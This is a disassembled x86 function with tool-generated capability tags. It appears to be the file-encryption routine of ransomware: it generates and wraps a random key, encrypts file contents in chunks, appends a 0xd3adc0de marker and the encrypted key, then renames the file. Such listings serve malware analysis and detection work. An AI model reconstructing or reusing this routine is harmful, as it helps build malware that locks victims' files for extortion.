Function at 0x404462
Capabilities:
Encrypt or decrypt via wincrypt
Generate random numbers via winapi
Get file size
Move file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x50f4
call fcn.00404e80
push ebx
push esi
mov ebx, ecx
push edi
mov dword [ebp - 0x14], ebx
xor edi, edi
movzx esi, di
push dword [esi*4 + 0x403768]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push dword [esi*4 + 0x403768]
mov dword [ebp - 0xc], eax
push ebx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x4044ae
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, dword [ebp - 0xc]
je 0x404792
xor esi, esi
inc edi
inc esi
cmp di, si
jb 0x404479
push 0x2c
pop ecx
mov dword [ebp - 0x1c], ecx
lea edi, [esi + 0x7f]
xor eax, eax
mov byte [ebp + eax - 0xf0], 0
inc eax
cmp eax, edi
jb 0x4044c2
lea eax, [ebp - 0xf0]
push eax
push ecx
push dword [0x40500c]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
je 0x404792
xor ecx, ecx
mov al, byte [ebp + ecx - 0xf0]
mov byte [ebp + ecx - 0x70], al
inc ecx
cmp ecx, 0x20
jb 0x4044ed
xor ecx, ecx
mov al, byte [ebp + ecx - 0xd0]
mov byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, 0xc
jb 0x404500
push edi
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xf0]
push eax
push 0
push esi
push 0
push dword [0x405004]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
push 0
push edi
push 3
pop eax
push eax
push 0
push esi
push 0xc0000000
push ebx
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x404792
and dword [ebp - 8], 0
xor esi, esi
mov dword [ebp - 0x10], esi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [ebx + eax*2]
sub eax, 2
cmp word [eax], 0x5c
jne 0x404565
push dword [esi + 0x403750]
sub eax, ebx
add eax, 2
sar eax, 1
lea eax, [ebx + eax*2]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x4045a8
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, eax
mov eax, dword [ebp - 0x10]
push dword [eax + 0x403750]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp esi, eax
je 0x4045b5
mov esi, dword [ebp - 0x10]
add esi, 4
mov dword [ebp - 0x10], esi
cmp esi, 4
jb 0x40455b
jmp 0x4045bc
mov dword [ebp - 8], 1
lea eax, [ebp - 0x28]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov eax, dword [ebp - 0x24]
mov esi, dword [ebp - 0x28]
test eax, eax
jg 0x4045e0
jl 0x4045db
cmp esi, 0xf000
ja 0x4045e0
xor ecx, ecx
inc ecx
jmp 0x4045e3
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x404656
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
mov ebx, dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 4]
push eax
push 0x5000
lea eax, [ebp - 0x50f0]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
lea eax, [ebp - 0x34]
push eax
push 0
push dword [ebp - 4]
lea edx, [ebp - 0x70]
lea ecx, [ebp - 0x50f0]
call fcn.00403fa6
mov eax, dword [ebp - 4]
add esp, 0xc
neg eax
cdq
push 1
push 0
push edx
push eax
push edi
call ebx
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x50f0]
push eax
push edi
call esi
cmp dword [ebp - 4], 0x5000
je 0x4045f3
jmp 0x40470b
push 0
push 2
push eax
xorps xmm0, xmm0
push esi
movlpd qword [ebp - 0x50], xmm0
call fcn.00404ef0
mov ebx, dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
sub eax, 0x2800
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x24]
sbb edx, 0
sub esi, 0x5000
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x40], esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
sbb eax, 0
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x50]
mov dword [ebp - 8], eax
push 0
push 0
push dword [eax + 4]
push dword [eax]
push edi
call ebx
push 0
lea eax, [ebp - 4]
push eax
push 0x5000
lea eax, [ebp - 0x50f0]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
lea eax, [ebp - 0x34]
push eax
push 0
push dword [ebp - 4]
lea edx, [ebp - 0x70]
lea ecx, [ebp - 0x50f0]
call fcn.00403fa6
mov eax, dword [ebp - 4]
add esp, 0xc
neg eax
cdq
push 1
push 0
push edx
push eax
push edi
call ebx
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x50f0]
push eax
push edi
call esi
mov eax, dword [ebp - 8]
add eax, 8
sub dword [ebp - 0xc], 1
mov dword [ebp - 8], eax
jne 0x40469b
mov ebx, dword [ebp - 0x14]
xorps xmm0, xmm0
push 2
push 0
movlpd qword [ebp - 0x18], xmm0
push dword [ebp - 0x14]
mov dword [ebp - 0x20], 0xd3adc0de
push dword [ebp - 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 0x20]
push eax
push edi
call esi
push 0
lea eax, [ebp - 4]
push eax
push 0x80
lea eax, [ebp - 0xf0]
push eax
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x800
call fcn.00404025
mov esi, eax
test esi, esi
je 0x404792
push 0x403270
push ebx
push 0x403288
push 0x400
push esi
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x14
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov ecx, esi
call fcn.00404039
pop edi
pop esi
pop ebx
leave
ret